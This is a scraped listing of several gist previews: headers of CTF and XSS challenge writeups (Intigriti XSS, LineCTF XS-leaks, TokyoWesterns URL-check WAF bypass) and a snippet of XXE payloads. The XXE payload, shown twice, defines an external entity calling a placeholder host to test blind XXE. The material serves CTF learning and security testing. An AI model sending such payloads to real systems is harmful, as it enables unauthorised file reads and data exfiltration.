Sudhanshu Rajbhar Sudistark

## writeup.md

      
              1 file
            
          
              0 forks
            
          
              2 comments
            
          
              3 stars
            
          
                0xGodson
                / writeup.md
            
            
              Last active
              December 23, 2022 05:51
            
              
                Nov Intigriti's XSS Challenge - Writeup
              
          
  layout
  title
  subtitle
  cover-img
  thumbnail-img
  share-img
  tags
  
  
  post
  Intigriti's Nov XSS Challenge Writeup
  XSS
  /assets/img/wsc.jpg
  /assets/img/wsc.jpg
  /assets/img/wsc.jpg
  
  
  xss
  
  
## exp.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              1 star
            
          
                msrkp
                / exp.md
            
            
              Last active
              July 30, 2023 15:20
            
              
                LineCTF - Your Note script to perform XS-leaks to read the flag.
              
          
    XS-leaks while download in headless-chrome.
TL;DR

There is a feature to search the note and a download option, so visiting the following page http://34.84.72.167/search?q=LINECTF{&download downloads a json file if the param value of q exists in notes.
Download doesn't work in headless chrome, so it throws an error.
oracle

  page.goto(url).then(() => {

  
## README.md

      
              2 files
            
          
              3 forks
            
          
              0 comments
            
          
              27 stars
            
          
                terjanq
                / README.md
            
            
              Last active
              June 14, 2024 14:36
            
              
                TokyoWesterns CTF 2020 | writeups by @terjanq

              
    TokyoWesterns CTF 2020 | writeups by @terjanq

Urlcheck v1 (98 points, 160 solves)

The goal was to bypass WAF protection to access local resources.
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
 matches = app.re_ip.match(ip)

  
## XXE_payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>